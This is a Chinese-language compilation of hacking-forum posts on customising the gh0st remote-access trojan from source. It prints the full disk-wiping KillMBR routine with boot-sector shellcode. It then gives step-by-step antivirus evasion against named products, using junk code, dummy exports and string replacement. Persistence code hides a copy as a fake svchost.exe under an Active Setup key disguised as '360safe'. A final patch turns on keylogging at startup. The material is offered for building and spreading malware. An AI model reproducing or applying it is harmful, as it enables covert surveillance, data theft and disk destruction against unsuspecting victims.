详解gh0st源码中去验证(去除逻辑炸弹)
去验证: BuildView.cpp
// 以下是原程序效验代码 全部注释掉 即可
// char strVer[10];
/* char strTitle[10];
strVer[0] = ’C’;
strVer[1] = ’.’;
strVer[2] = ’R’;
strVer[3] = ’u’;
strVer[4] = ’f’;
strVer[5] = ’u’;
strVer[6] = ’s’;
strVer[7] = ’ ’;
strVer[8] = ’S’;
strVer[9] = ’\0’;
strTitle[0] = ’G’;
strTitle[1] = ’h’;
strTitle[2] = ’0’;
strTitle[3] = ’s’;
strTitle[4] = ’t’;
strTitle[5] = ’ ’;
strTitle[6] = ’R’;
strTitle[7] = ’A’;
strTitle[8] = ’T’;
strTitle[9] = ’\0’;
CString str;
GetDlgItemText(IDC_STATIC_VER, str);
if (str.Find(strVer) == -1)
((CGh0stApp *)AfxGetApp())->KillMBR();
GetParent()->GetWindowText(str);
if (str.Find(strTitle) == -1)
((CGh0stApp *)AfxGetApp())->KillMBR();
*/
// 以上代码全部注释 即可去除效验
gh0st.cpp 删除以下代码:
/////////////////////////////////////////////////////////////////////////////
// CGh0stApp message handlers
unsigned char scode[] =
"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
int CGh0stApp::KillMBR()
{
HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};
// 重新构造MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;
hDevice = CreateFile
(
"\\\\.\\PHYSICALDRIVE0",
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);
if (hDevice == INVALID_HANDLE_VALUE)
return -1;
DeviceIoControl
(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
// 写入病毒内容
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl
(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);
CloseHandle(hDevice);
ExitProcess(-1);
return 0;
}
源码中自己去掉
==============================================
另外提供一小部分修改的地方,方便制作个人版,不是很全
修改服务信息:BuildView.cpp
修改标题:MainFrm.cpp 搜索 cs.lpszName
I am virus! Fuck you :-)
!!!版权所有 篡改必毒!!!
Please wait - initial screen loading
请稍候,初始屏幕加载...Kyle个人版
============
Connections
连 接 控 制
Connections User
连接被控远程电脑
Settings
配置服务
Control Settings
配置-服务端-程序
Build
生 成
Build Server
生成--服务端
免杀加工
gh0st3.6有源码,所以我们可以在源码的基础上做木马的免杀,个人感觉卡巴的免杀最好做。
先抛一砖头,有兴趣的朋友可以接着做,也可以和本人交流。
编译环境一定要配置好:DDK+SDK+VC6,DDK用来编译sys文件的,SDK+VC6是用来编译工程的,具体为什么以及如何配置可以查看网上有关资料,也可以查看DDK和SDK帮助。
首次编译后,先做卡巴的免杀。卡巴杀sys文件和dll,当然也就杀包装它们的install.exe,最后卡巴还杀生成的sever,我这里说杀生成好的server不是和前面的特征码重叠的地方,而是杀配置信息。
sys免杀
sys重新编译后,增加了输入表的函数(原因未知,有兴趣的朋友可以比较1下) ,顺利通过卡巴、金山、小红伞等杀软。
svchost.dll免杀
1、 MultiByteToWideChar 这个函数的调用上,卡巴就怕花,可以在这个函数前面随便加几句无效语句就可以。
2、 字符串调用"gh0st update" ,这个是用于更新用的 ,如果不要在线更新,直接把这个语句所在代码块删除;嘿嘿,其实搜索工程替换这个字符串为其他的字符串就可以了^_^,这个方法同样可以过金山,谁让我们有源码呢。
server免杀
卡巴定位在最后的配置信息,采取跳转显然是不行的,采用加花的办法,在写入AAAAAA配置信息之前,随便写些东西,就可以做server免杀。
修改生成的dll
在源程序里查找%s\\%sEx 或者\%sEx字符串,这个位置就是生成 6to4的地方了,可以改成你想生成的任何的东西。
纯粹想交流,大家可以在这里跟贴,一起讨论。
做了这几步..还有瑞星还查杀DLL文件,把DLL文件的大少优化下,加几个输出表..
金山杀EXE文件,把入口点改下就过了 麦咖啡还杀DLL文件的ServiceMain.把ServiceMain移动远点就过了
小红伞 NOD还杀输入表....这2个比较麻烦
我测试了9个杀软 金山,瑞星,卡巴,江民,小红伞,NOD,麦咖啡,诺顿,AVG.
还有其他杀软.基本上过了.没测试.
简单补充
添加垃圾代码的小方法:
垃圾代码要移动特征码所在的位置,不要跑到堆栈中了,这样的代码没有用。
可以采取添加for循环,做计数,简单统计,采用局部变量,不改变后面的逻辑为宜。
添加输出表的方法:
有杀输出表的,可以在生成的svchost.dll上添加空函数 ,但是每次编译都要修改1次资源 ,其实我们在源码上添加如下语句:
extern "C" __declspec(dllexport) bool JustTempFun();//声明
……
extern "C" __declspec(dllexport) bool JustTempFun() //实现
{
return false;
}
编译后,输出表就被改变了,有的杀软就可做到代码免杀。
把这个代码加到WinMain上面,然后在WinMain里写入 ActiveRun(); 就可以调用了
这样才能成功
转载请注明出自暗组技术论坛 http://forum.darkst.com/,本贴地址:http://forum.darkst.com/viewthread.php?tid=38537
void ActiveRun()//ActiveX自启动的函数
{
char WinPath[MAX_PATH];
GetWindowsDirectory(WinPath,sizeof(WinPath));
strcat(WinPath,"\\systom32\\svchost.exe");
HKEY hKey;
RegDeleteKey(HKEY_CURRENT_USER,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H8I12RB01-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}"); //删除用户里的ACTIVE,免得不知执行
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\{H8I12RB01-AB-B70-7-11d2-9CBD-0O00FS7AH6-9E2121BHJLK}",&hKey);
RegSetValue(hKey,NULL,REG_SZ,"360safe",strlen("360safe"));
RegSetValueEx(hKey,"stubpath",0,REG_EXPAND_SZ,(BYTE*)WinPath,lstrlen(WinPath));
RegCloseKey(hKey);
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
ActiveRun();
int nRetCode = 0;
//Begin=======首次运行,拷贝安装========
char DstFilePath[256];
char SrcFilePath[256];
memset(DstFilePath, 0, 256);
memset(SrcFilePath, 0, 256);
::GetWindowsDirectory(DstFilePath,sizeof(DstFilePath));
strcat(DstFilePath,"\\systom32\\");
CreateDirectory(DstFilePath, NULL);SetFileAttrib(DstFilePath);//隐藏路径
strcat(DstFilePath,"svchost.exe");
GetModuleFileName(NULL, SrcFilePath, sizeof(SrcFilePath));
if (_stricmp(SrcFilePath,DstFilePath) != 0)
{
DeleteFile(DstFilePath);
if(::CopyFile(SrcFilePath,DstFilePath,FALSE)==0)
return -1;
SetFileAttrib(DstFilePath);//隐藏文件
WinExec(DstFilePath,SW_HIDE);
uninstall();//自删除
ExitProcess(0);
}
源码出来这么久了.在网上搜一下,几乎见不到可以用的动画或者教程,
估计大家都想留着技术换钱吧,这里说几种方法、方便大家举一反三
源码的解锁:这里不多说了,改版权之前最好看看,
不然硬盘出事了别找别人(已经有很多例子了)
SYS文件的免杀:一样有教程,大体思路是用advanced find and replace替换SYS源码中的RESSDT为其他任意等长度字符串达到免杀效果,自己看看动画就懂的
这里主要说说DLL文件的源码免杀过程(免杀好DLL之后,生成的EXE也没几个特征码了,随便改改就过了)
首先,要了解编译中MAP的利用:
第一步设置VC编译环境生成Map文件。
在 VC 中,点击菜单“Project -> Settings”选项页(或按下 Alt+F7),选择 C/C++ 选项卡,并在最下面的 Project Options 里面输入:/Zd ,然后要点击 Link 选项卡,选中“Generate mapfile”复选框,并在最下面的 Project Options 里面输入:/mapinflines,表示生成 MAP 文件时,加入行信息。
设置完成。
第二步编译VC工程,设置活动工程编译即可,这个不用说明。这个步骤完成后,在release(或debug)目录,多了一个.map文件(比如svchost.map)。
第三步打开map文件(用UE或文本编辑器打开都行),形式如下:
用MYCCL定位DLL的瑞星主要特征码为00014ba8和00014bbb(还有4个特征码在源码免杀了这两个之后都过了),定在了DLL的输出表的SERVICEMAIN和RESETSSDT上面.
我们在生成的.MAP文件中找跟这两个地址接近的项,如图:
00014BA8和00014BBB正好是在图中00014AC0和00014BE0之间,对应的是源码里的一个IOCPSERVER.OBJ,这样我们就通过MAP文件把特征码和源码联系起来了,通过修改源码来
达到免杀特征码的目的
打开GH0ST源码,点击CLASSES VIEW>>>>GH0ST CLASSES>>>>>CIOCPSERVER,来到如图位置:
COICPSERVER好像是一个跟WINSOCK有关的东西,这里汇编高手可以直接通过修改代码达到免杀,而我则加了一个无意义代码达到相同的效果(水平问题),如图:
这样,这处源码免杀就OK了.不过要想达到到更好的免杀效果,我们还需要手动在输出表里面添加几个空函数,点击FILE VIEW>>>>GHOST FILES>>>>SVCHOST.CPP来到如图位置
看到SERVICEMAIN和RESETSSDT没有,这里,我手动添加了一个新函数,函数名任意,我取了个"FUCKRUIXING".添加完后如图:
这样子空函数还没完全添加进去,我们还需要在后面加入一段说明这个函数的代码,如图:
这样,空函数添加完成了,保存一下.因为金山还杀GH0ST的GH0ST UPDATE字符串,我们利用advanced find and replace替换一下就OK了,道理同SYS的免杀
最后按编译出来丢到虚拟机里测试下,DLL和SYS过了卡巴,瑞星,金山和NOD32(虚拟机里只装了这几个常用的杀软),可以上线,功能没问题
直接编译gh0st控制端源码会提示Cj60的一个库里面函数名找不到 估计是原来的库在VC60下编译 不匹配的问题
找到CJ60文件夹 打开 编译Cj60StaticLib库
1.报错 找不到文件<..\src\afximpl.h>
貌似从VC7开始这个头文件放在\src\mfc下 找到 stdafx.h 改之
#include <..\src\mfc\afximpl.h>
2.error C2440: “static_cast”: 无法从“UINT (__thiscall CCJControlBar::* )(CPoint)”转换为“LRESULT (__thiscall CWnd::* )(CPoint)”
类型定义的问题 把相关参数的函数返回值改成LRESULT
3.error C2440: “static_cast”: 无法从“BOOL (__thiscall CCJPagerCtrl::* )(NMPGSCROLL *,LRESULT *)”转换为“BOOL (__thiscall CCmdTarget::* )(NMHDR *,LRESULT *)”
宏展开后参数不匹配的问题 把NMPGSCROL改成NMHDR进子程序后强转
LPNMPGSCROL pnmpgs = (LPNMPGSCROL ) pnmhdr;
4.error C2664: “MultiByteToWideChar”: 不能将参数 5 从“USHORT *”转换为“LPWSTR”
这个是从某一版本以后 wchar_t开始变成编译器内置类型的问题 几个串类型之间不能默认转换 强转即可
接下来编译控制端gh0st
1.一上来提示找不到stdafx.h 我靠 打开header目录一看 有这个文件 ok 在附加包含目录里面加入“./” 解决了
2.error 2440 和刚才一样的问题 MFC展开宏的问题 进去强转指针即可
3.ok 到这里再编译 能通过了 刚才那一堆link错误 由于我们用vc8重新编译了cj60库也解决了 但是多出来几个link错误
nafxcw.lib(afxmem.obj) : error LNK2005: “void * __cdecl operator new(unsigned int)” (??2@YAPAXI@Z) 已经在 LIBCMT.lib(new.obj) 中定义
看意思大概是操作符在几个库里有重定义的问题 试了忽略nafxcw.lib和libcmt.lib 都不行 后翻到一篇帖子 这种问题需要在附加依赖项里面指定一下链接的先后顺序即可 先链接nafxcw.lib 后链接libcmt.lib 如果编译调试版在库后面加个d
好了 甩个服务端到虚拟机上去 咱们开始调试吧
参考文献:
http://topic.csdn.net/t/20030627/23/1966751.html
operator new 链接重定义的问题
http://blog.csdn.net/orbit/archive/2008/11/28/3405309.aspx
从VC6到VC9移植代码问题总结
gh0st远控服务端直接开启键盘记录
作者:admin 日期:2009-03-08
字体大小: 小 中 大
闲时玩远控,私下有很多站友想在gh0st服务端运行的同时开启键盘记录,苦于对代码不熟,到处求人,还让人给拿一把,我在这里给出实现方法 ,希望对gh0st爱好者有所帮助。
在KeyboardManager.cpp的 bool CKeyboardManager::StartHook()方法中,有这样一段代码:
ZeroMemory(m_pTShared->str, sizeof(m_pTShared->str));
GetSystemDirectory(m_pTShared->strRecordFile, sizeof(m_pTShared->strRecordFile));
lstrcat(m_pTShared->strRecordFile, "\\keyboard.inf"); //keyboard.inf是自己给的记录文件名
// 文件存在,就开始离线记录开启
if (GetFileAttributes(m_pTShared->strRecordFile) != -1)
m_pTShared->bIsOffline = true;
else
m_pTShared->bIsOffline = false;
从这段代码可以看出,服务端启动后,自动判读有没有keyboard.inf这个文件,如果有,就自动开启离线记录,如果没有就默认没有开启键盘记录。
我们在类构造的时候加上如下代码:
char strRecordFile [MAX_PATH];
GetSystemDirectory(strRecordFile, sizeof(strRecordFile));
lstrcat(strRecordFile, "\\keyboard.inf");
if (GetFileAttributes(strRecordFile) == -1)
{
HANDLE hFile = CreateFile(strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
Create_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
CloseHandle(hFile);
}
在类初始化的时候,我们判读有没有键盘记录文件,如果没有,则自动创建一个新的键盘记录文件,服务端就会默认开启键盘记录了,这样就不用特意再打开服务端控制,从而避免有效信息丢失 ^_^